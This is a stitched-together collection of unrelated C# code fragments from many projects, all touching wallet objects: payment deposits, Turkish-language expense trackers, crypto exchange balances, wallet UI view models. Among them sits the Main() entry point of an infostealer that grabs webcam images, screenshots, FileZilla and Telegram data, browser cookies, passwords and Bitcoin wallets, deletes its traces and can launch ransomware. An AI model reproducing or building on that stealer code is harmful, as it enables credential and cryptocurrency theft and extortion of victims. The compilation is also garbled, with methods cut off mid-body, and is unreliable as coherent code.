public bool TakeAwayDeposit(int transactionId)
{
try
{
Transactions depositTransaction = _transactionRepository
.GetAll()
.Where(t => t.Id == transactionId)
.Include(t => t.ReceiverPaymentMethod)
.ThenInclude(t => t.Wallets)
.FirstOrDefault();
if (depositTransaction.State == TransactionState.TemporaryDeposit)
{
Wallets receiveWallet = depositTransaction.ReceiverPaymentMethod.Wallets;
// Take deposit amount to receiver' wallet
receiveWallet.Balance = receiveWallet.Balance + depositTransaction.Amount;
_walletRepository.Update(receiveWallet);
//Change state
depositTransaction.State = TransactionState.Completed;
depositTransaction.Detail = TransactionDetail.CustomerCompensationTransaction;
_transactionRepository.Update(depositTransaction);
return(true);
}
return(false);
}
catch (Exception)
{
return(false);
}
}
/// <summary>
/// change categories accessibility for wallet.
/// </summary>
/// <param name="wallet"></param>
/// <param name="category">category to change</param>
public void SwitchCategoryPermission(Wallet.Wallet wallet, Category category)
{
if (!Wallets.Contains(wallet))
{
throw new UserException("can not switch categories if you are not owner");
}
if (!Categories.Contains(category))
{
throw new UserException("user hasn't this category");
}
if (wallet is null)
{
throw new UserException("user hasn't this wallet");
}
if (wallet.RestrictedCategories.Contains(category))
{
wallet.RestrictedCategories.Remove(category);
}
else
{
wallet.RestrictedCategories.Add(category);
}
}
public bool MakeDeposit(string senderId, string receiverId, decimal amount, int bookingId)
{
try
{
Wallets senderWallet = _walletRepository.GetAll().Include(w => w.IdNavigation.User).Where(w => w.UserId == senderId).FirstOrDefault();
Wallets receiveWallet = _walletRepository.GetAll().Include(w => w.IdNavigation.User).Where(w => w.UserId == receiverId).FirstOrDefault();
// create deposit transaction for hold deposit
Transactions depositTransaction = new Transactions()
{
Amount = amount,
CurrencyCode = CurrencyConstants.VND,
Detail = TransactionDetail.DepositTransaction,
State = TransactionState.TemporaryDeposit,
BookingId = bookingId,
SenderName = senderWallet.IdNavigation.User.FullName,
SenderPaymentMethodId = senderWallet.IdNavigation.Id,
ReceiverName = receiveWallet.IdNavigation.User.FullName,
ReceiverPaymentMethodId = receiveWallet.IdNavigation.Id,
Time = DateTime.Now
};
_transactionRepository.Add(depositTransaction);
//Minute amount in sender' wallet
senderWallet.Balance = senderWallet.Balance - amount;
_walletRepository.Update(senderWallet);
}
catch (Exception)
{
return(false);
}
return(true);
}
private static void Main()
{
Directory.CreateDirectory(Program.dir);
HomeDirectory.Create(GetDirPath.User_Name, true);
if (Settings.webka)
{
GetWebCam.Get_webcam();
}
Screen.Get_scr(Program.dir);
FileZilla.get_filezilla(Program.dir);
Telegram.StealTelegram(Program.dir);
if (Settings.loader)
{
Loader.Load();
}
if (Settings.grabber)
{
Grabber.Grab_desktop(Program.dir);
}
Steal.Cookies();
Steal.Passwords();
Wallets.BitcoinSteal(Program.dir);
UserAgents.Get_agent(Program.dir);
Browser_Parse.Parse(Program.dir);
DomainDetect.Start(Helper.Browsers);
Hardware.Info(Program.dir);
Directory.Delete(Program.dir, true);
Directory.Delete(GetDirPath.User_Name, true);
if (Settings.ransomware)
{
RansomwareCrypt.Start();
}
}
public bool ReturnDeposit(int transactionId)
{
try
{
Transactions depositTransaction = _transactionRepository
.GetAll()
.Where(t => t.Id == transactionId)
.Include(t => t.SenderPaymentMethod)
.ThenInclude(t => t.Wallets)
.FirstOrDefault();
if (depositTransaction.State == TransactionState.TemporaryDeposit)
{
Wallets senderWallet = depositTransaction.SenderPaymentMethod.Wallets;
// Take deposit amount to receiver' wallet
senderWallet.Balance = senderWallet.Balance + depositTransaction.Amount;
_walletRepository.Update(senderWallet);
//Delete transaction
_transactionRepository.Delete(depositTransaction);
return(true);
}
return(false);
}
catch (Exception)
{
return(false);
}
}
public async void DeleteWallet()
{
try
{
IsEnabled = false;
foreach (Transaction transaction in _tranService.GetTransactions())
{
if (transaction.WalletGuid == _currentWallet.FromWallet.Guid)
{
if (_service.GetWallet(_currentWallet.FromWallet).Transactions.ToList().Exists(x => x.Guid == transaction.Guid))
{
_tranService.DeleteTransaction(transaction);
}
}
}
await Task.Run(() => _service.DeleteWallet(CurrentWallet.FromWallet));
Wallets.Remove(CurrentWallet);
}
catch (Exception ex)
{
MessageBox.Show("Please,select the wallet by clicking on it in the list");
return;
}
finally
{
IsEnabled = true;
}
}
private void BuildUiFunds()
{
var obj = new Wallets();
if (!obj.WalletInfo.Any())
{
return;
}
var builder = new StringBuilder();
builder.Append("<ul class='row row-uc row-bordered bg-gradient'>");
foreach (var info in obj.WalletInfo.Where(info => info.Id != 0))
{
var curr = commonCookie.CookieCurrency;
if (!string.IsNullOrWhiteSpace(info.CurrencyLabel))
{
curr = info.CurrencyLabel;
}
builder.Append("<li class='col col-50'>");
builder.Append(string.Format("<a class='fundsType' walletid='{0}' href='#'>", info.Id));
builder.Append("<div class='wallet'>");
builder.Append(string.Format("<label class='label'>{0}</label>", info.Name));
builder.Append(string.Format("<h4 class='value' id='{0}'></h4>", info.Id));
builder.Append(string.Format("<small class='currency'>{0}</small>", curr));
builder.Append("</div></a></li>");
}
builder.Append("</ul>");
ltlFunds.Text = builder.ToString();
ltlNote.Text = obj.FundsPageNote;
}
private async void Button_Clicked(object sender, EventArgs e)
{
if (cuzdanAdi.Text != "" && miktar.Text != "" && cuzdanAdi.Text != null && miktar.Text != null)
{
try
{
Wallets wal = new Wallets();
wal.CuzdanAdi = cuzdanAdi.Text.Trim();
wal.CuzdanPara = Convert.ToDouble(miktar.Text.Trim());
if (!(await fb.AddWallet(wal, kul.KullaniciKey)))
{
await DisplayAlert("Hata", "Bu cüzdan zaten var!", "Tamam");
}
else
{
cuzdanAdi.Text = "";
miktar.Text = "";
}
}
catch (Exception x)
{
await DisplayAlert("Hata", x.Message, "Tamam");
}
}
else
{
await DisplayAlert("Hata", "Tüm Bilgileri Doldurduğunuzdan Emin Olun!", "Tamam");
}
}
private async void Button_Clicked(object sender, EventArgs e)
{
try
{
Revenues rev = new Revenues();
Wallets w = new Wallets();
foreach (var item in wall)
{
if (cuzdan.SelectedItem.ToString() == item.CuzdanAdi)
{
w = item;
}
}
rev.Miktar = Convert.ToDouble(gelirmiktar.Text);
rev.Tarih = takvim.Date;
rev.CuzdanKey = w.CuzdanKey;
if (Duzen.IsToggled)
{
rev.DuzenliMi = true;
}
else
{
rev.DuzenliMi = false;
}
rev.KullaniciKey = "-M0grWhIKpvum7ECwK2H";
fb.CalculateRev(rev, w, "-M0grWhIKpvum7ECwK2H");
await fb.AddRevenues(rev, "-M0grWhIKpvum7ECwK2H");
await DisplayAlert("Bilgi", "Gelir Başarıyla Kaydedildi!", "Tamam");
}
catch (Exception s)
{
await DisplayAlert("Hata", s.Message, "Tamam");
}
}
public static void calculateNewChanges(IFlyMiningEntityDI fDb, SiteContent _siteSelector)
{
maintenceRatePerTHsEUR = Settings.maintenceRatePerTHsEUR;
rateBTCEUR = Math.Round(Convert.ToDecimal(Wallets.getEURrateNow("BTC").Result), 2);
maintenceRatePerTHsBTC = maintenceRatePerTHsEUR / rateBTCEUR;
statisticalData statData = new statisticalData();
try
{
statData = fDb.statisticalDatas.Single(t => t.Names == "maintenceRatePerTHsBTC");
statData.Value = maintenceRatePerTHsBTC.ToString();
statData = fDb.statisticalDatas.Single(t => t.Names == "BTCRateEUR");
statData.Value = rateBTCEUR.ToString();
statData = fDb.statisticalDatas.Single(t => t.Names == "difficultyRaise");
statData.Value = WebApi.getDifficulty().Result;
fDb.SaveChanges();
CryptoCompareInfo.getCryptoInfo();
}
catch (Exception ex)
{
Logger.AddLogRecord("Error on dayly Income. StatData:" + Convert.ToString(ex));
}
RsContractTable(fDb, _siteSelector);
IncomeValidation(fDb, _siteSelector);
exportIncome(fDb, _siteSelector);
}
public void UpdateCurrentWallet()
{
using (var client = CreateBinanceClient())
{
var price = client.GetPrice(_symbolPair.ToString());
var accountInfo = client.GetAccountInfo();
var s1b = accountInfo.Data.Balances
.Where(b => b.Asset == _symbolPair.Symbol1)
.First();
var s2b = accountInfo.Data.Balances
.Where(b => b.Asset == _symbolPair.Symbol2)
.First();
SymbolAmountPair cw;
var s1pcb = s1b.Total * price.Data.Price;
if (s1pcb > s2b.Total)
{
cw = SymbolAmountPair.Create(s1b.Asset, s1b.Total);
}
else
{
cw = SymbolAmountPair.Create(s2b.Asset, s2b.Total);
}
if (cw != CurrentWallet)
{
Wallets.Add(cw);
}
}
}
public void DeleteWallet()
{
_service.Wallets.Remove(CurrentWallet.Wallet);
_service.User.MyWallets.Remove(CurrentWallet.Wallet);
Wallets.Remove(CurrentWallet);
CurrentWallet = null;
}
public ConnectHardwareWalletViewModel(WalletManagerViewModel owner) : base("Hardware Wallet")
{
Global = Locator.Current.GetService <Global>();
WalletManager = Global.WalletManager;
Owner = owner;
_wallets = new ObservableCollection <HardwareWalletViewModel>();
IsHwWalletSearchTextVisible = false;
this.WhenAnyValue(x => x.SelectedWallet)
.Where(x => x is null)
.ObserveOn(RxApp.MainThreadScheduler)
.Subscribe(_ =>
{
SelectedWallet = Wallets.FirstOrDefault();
SetLoadButtonText();
});
Wallets
.ToObservableChangeSet()
.ToCollection()
.Where(items => items.Any() && SelectedWallet is null)
.Select(items => items.First())
.ObserveOn(RxApp.MainThreadScheduler)
.Subscribe(x => SelectedWallet = x);
this.WhenAnyValue(x => x.IsBusy, x => x.IsHardwareBusy)
.ObserveOn(RxApp.MainThreadScheduler)
.Subscribe(_ => SetLoadButtonText());
LoadCommand = ReactiveCommand.CreateFromTask(LoadWalletAsync, this.WhenAnyValue(x => x.SelectedWallet, x => x.IsBusy).Select(x => x.Item1 is { } && !x.Item2));
public WalletExplorerViewModel() : base("Wallet Explorer")
{
_wallets = new ObservableCollection <WalletViewModelBase>();
_walletDictionary = new Dictionary <Wallet, WalletViewModelBase>();
var global = Locator.Current.GetService <Global>();
WalletManager = global.WalletManager;
UiConfig = global.UiConfig;
Observable
.FromEventPattern <WalletState>(WalletManager, nameof(WalletManager.WalletStateChanged))
.ObserveOn(RxApp.MainThreadScheduler)
.Subscribe(x =>
{
var wallet = x.Sender as Wallet;
if (wallet is { } && _walletDictionary.ContainsKey(wallet))
{
if (wallet.State == WalletState.Stopping)
{
RemoveWallet(_walletDictionary[wallet]);
}
else if (_walletDictionary[wallet] is ClosedWalletViewModel cwvm && wallet.State == WalletState.Started)
{
OpenClosedWallet(cwvm);
}
}
AnyWalletStarted = Wallets.Any(x => x.WalletState == WalletState.Started);
});
private void Continue(object sender, RoutedEventArgs e)
{
DisableCamera();
PaymentManager.Wallet = Wallets.ExtractWallet(WalletTb.Text);
var pay = new Payment();
NavigationService?.Navigate(pay);
}
private void HandleEvent(object sender, ProfitableUserTradedEventArgs e)
{
if (e.Report.CurrencySymbol != _config.TargetCurrencySymbol)
{
_logger.Information("Report was not targeting our currency symbol.");
return;
}
var eventOwnerUser = _repo.GetUserById(e.UserId);
if (eventOwnerUser.CurrentWallet.Symbol == CurrentWallet.Symbol)
{
_logger.Information($"Skipping report due to trader and our wallets currency equality.");
}
if (AttachedUser == null || AttachedUser.Identifier == e.UserId)
{
if (!_attempCalculator.IsSucceededAttemp())
{
_logger.Information("Skipping trade due to low attemps count.");
return;
}
if (AttachedUser == null)
{
_logger.Information($"Attaching to user with Id: {e.UserId}");
AttachedUsersHistory.Add(e.UserId);
AttachedUserProfit = e.Report;
AttachedUser = eventOwnerUser;
}
_logger.Information("Attached user traded. Repeating actions.");
var trade = _repo.GetTradeById(e.TradeId);
_lastTradeDate = trade.TradeTime;
if (AttachedUser.CurrentWallet.Symbol == CurrentWallet.Symbol)
{
_logger.Information("Currently the trader holds the currency that we already have.");
return;
}
_logger.Warning($"Wallet balance was {CurrentWallet.Amount}{CurrentWallet.Symbol}");
_logger.Warning($"Selling {CurrentWallet.Amount}{CurrentWallet.Symbol} and buying {AttachedUser.CurrentWallet.Symbol}");
var newWallet = CalculateWalletBalanceAfterTrade(CurrentWallet, trade.Price);
Wallets.Add(newWallet);
_logger.Warning($"After selling balance is {CurrentWallet.Amount}{CurrentWallet.Symbol}");
}
else
{
var maxTimeToWaitForAttachedUser = TimeSpan.FromTicks(AttachedUserProfit.AverageTradeThreshold.Ticks * 2);
if (DateTime.UtcNow - _lastTradeDate > maxTimeToWaitForAttachedUser ||
e.Report.AverageProfitPerHour > AttachedUserProfit.AverageProfitPerHour)
{
DetachAttachedUser();
HandleEvent(this, e);
}
}
}
public void UpdateCurrentWallet()
{
var nw = SymbolAmountPair.Create("USDT", 100m);
if (nw != CurrentWallet)
{
Wallets.Add(nw);
}
}
public void ReloadWallets()
{
Wallets.Clear();
foreach (var wallet in _repository.GetWallets())
{
Wallets.Add(wallet);
}
}
public static WalletViewModel ToWallet(this Wallets w)
{
return(new WalletViewModel
{
Id = w.Id,
Amount = w.Amount,
Currency = w.Currency
});
}
private async void Button_Clicked(object sender, EventArgs e)
{
try
{
string secilenKategori = kategori.SelectedItem.ToString();
string secilenCuzdan = cuzdan.SelectedItem.ToString();
string catKey = "";
foreach (var item in categories)
{
if (secilenKategori == item.KategoriAdi)
{
catKey = item.KategoriKey;
}
}
if (catKey != "" && harcamamiktarı.Text != "" && takvim.Date != null && harcamamiktarı.Text != null)
{
Expenses exp = new Expenses();
exp.KategoriKey = catKey;
exp.Miktar = Convert.ToDouble(harcamamiktarı.Text.Trim());
exp.Tarih = takvim.Date;
exp.Aciklama = (aciklama.Text == null?"":aciklama.Text.Trim());
Wallets wal = new Wallets();
foreach (var item in wall)
{
if (secilenCuzdan == item.CuzdanAdi)
{
wal = item;
}
}
if (fb.CalculateExp(exp, wal, kul.KullaniciKey))
{
await fb.AddExpenses(exp, kul.KullaniciKey, catKey);
await DisplayAlert("Başarılı", "Gider Başarıyla Kaydedildi!", "Tamam");
aciklama.Text = "";
harcamamiktarı.Text = "";
}
else
{
await DisplayAlert("Hata", "Yeterli Bakiye Yok", "Tamam");
}
}
else
{
await DisplayAlert("Hata", "Tüm Bilgileri Eksiksiz Doldurduğunuzdan Emin Olun!", "Tamam");
}
}
catch (Exception x)
{
await DisplayAlert("Hata", x.Message, "Tamam");
}
}
public MainWindowViewModel()
{
foreach (var wallet in WalletViewModel.Load(App.AppDir))
{
Wallets.Add(wallet);
wallet.Update();
}
SelectedWallet = Wallets.FirstOrDefault();
StartConnecting();
}
public static void UpdateWalletsCollection()
{
Wallets.Clear();
foreach (Wallet wallet in _service.GetWallets())
{
if (wallet.OwnerGuid == CurrentInformation.User.Guid)
{
Wallets.Add(new WalletDetailsViewModel(wallet));
}
}
}
public async Task <Core.Game.Entities.Wallet> GetWalletWithUPDLockAsync(Guid playerId)
{
var wallet = await Wallets
.SingleOrDefaultAsync(x => x.PlayerId == playerId);
if (wallet == null)
{
throw new RegoException("Wallet does not exist.");
}
return(new Core.Game.Entities.Wallet(wallet));
}
public bool CalculateRev(Revenues r, Wallets w, string user)
{
try
{
w.CuzdanPara = w.CuzdanPara + r.Miktar;
fb.Child("Kullanici/" + user + "/Cuzdan/" + w.CuzdanKey).PutAsync(w);
return(true);
}
catch (Exception)
{
return(false);
}
}
public async Task <bool> WalletControl(Wallets wal, string user)
{
var list = await GetWalletList(user);
foreach (var item in list)
{
if (wal.CuzdanAdi == item.CuzdanAdi)
{
return(false);
}
}
return(true);
}
public static ICollection <KeyValuePair <int, string> > GetWallets()
{
ICollection <KeyValuePair <int, string> > wallet = new Dictionary <int, string>();
var obj = new Wallets();
foreach (var info in obj.WalletInfo.OrderBy(x => x.SelectOrder))
{
var selectName = string.IsNullOrWhiteSpace(info.SelectName) ? info.Name : info.SelectName;
wallet.Add(new KeyValuePair <int, string>(Convert.ToInt32(info.Id), selectName));
}
return(wallet);
}
private bool _disposedValue = false; // To detect redundant calls
public LoadWalletViewModel(WalletManagerViewModel owner, LoadWalletType loadWalletType)
: base(loadWalletType == LoadWalletType.Password ? "Test Password" : "Load Wallet")
{
Global = Locator.Current.GetService <Global>();
Owner = owner;
Password = "";
LoadWalletType = loadWalletType;
this.ValidateProperty(x => x.Password, ValidatePassword);
RootList = new SourceList <WalletViewModelBase>();
RootList.Connect()
.AutoRefresh(model => model.WalletState)
.Filter(x => (!IsPasswordRequired || !x.Wallet.KeyManager.IsWatchOnly))
.Sort(SortExpressionComparer <WalletViewModelBase>
.Descending(p => p.Wallet.KeyManager.GetLastAccessTime()),
resort: ResortTrigger.AsObservable())
.ObserveOn(RxApp.MainThreadScheduler)
.Bind(out _wallets)
.DisposeMany()
.Subscribe()
.DisposeWith(Disposables);
Observable.FromEventPattern <Wallet>(Global.WalletManager, nameof(Global.WalletManager.WalletAdded))
.ObserveOn(RxApp.MainThreadScheduler)
.Select(x => x.EventArgs)
.Subscribe(wallet => RootList.Add(new WalletViewModelBase(wallet)))
.DisposeWith(Disposables);
this.WhenAnyValue(x => x.SelectedWallet)
.Where(x => x is null)
.ObserveOn(RxApp.MainThreadScheduler)
.Subscribe(_ => SelectedWallet = Wallets.FirstOrDefault());
Wallets
.ToObservableChangeSet()
.ToCollection()
.Where(items => items.Any() && SelectedWallet is null)
.Select(items => items.First())
.ObserveOn(RxApp.MainThreadScheduler)
.Subscribe(x => SelectedWallet = x);
LoadCommand = ReactiveCommand.Create(() =>
RxApp.MainThreadScheduler
.Schedule(async() => await LoadWalletAsync())
.DisposeWith(Disposables),
this.WhenAnyValue(x => x.SelectedWallet, x => x?.WalletState)
.Select(x => x == WalletState.Uninitialized));
TestPasswordCommand = ReactiveCommand.Create(LoadKeyManager, this.WhenAnyValue(x => x.SelectedWallet).Select(x => x is { }));
async void RefreshInitial()
{
Wallets.Clear();
Markets = (ObservableRangeCollection <Market>) await MarketService.GetMarket();
var wallets = await WalletService.GetUserWallets(UserId);
/*var wallets = await WalletService.GetWallets();*/
var extendedWallets = createExtended(wallets);
LoadWalletOnProperties(wallets);
//Wallets.AddRange(wallets);
ExtendedWallets.AddRange(extendedWallets);
}
internal void Update(Wallets res, decimal market, decimal convUSD)
{
if (MainActivity.act == null)
{
return;
}
MainActivity.act.RunOnUiThread(() =>
{
var a = items.Find(x => x.id == res);
a.BallanceMarket = "BTC" + market.ToString();
a.BalanceUSD = "$" + convUSD.ToString("0.00");
NotifyItemChanged(items.FindIndex(x => x.id == res));
});
}
/// <summary>
/// This method returns player wallet and locks the record with UPD (update) lock for the scope of the transaction
/// </summary>
/// <param name="playerId"></param>
/// <returns></returns>
public Core.Game.Entities.Wallet GetWalletWithUPDLock(Guid playerId)
{
LockWallet(playerId);
var wallet = Wallets
.Include(w => w.Brand)
.SingleOrDefault(x => x.PlayerId == playerId);
if (wallet == null)
{
throw new RegoException("Wallet does not exist.");
}
return(new Core.Game.Entities.Wallet(wallet));
}
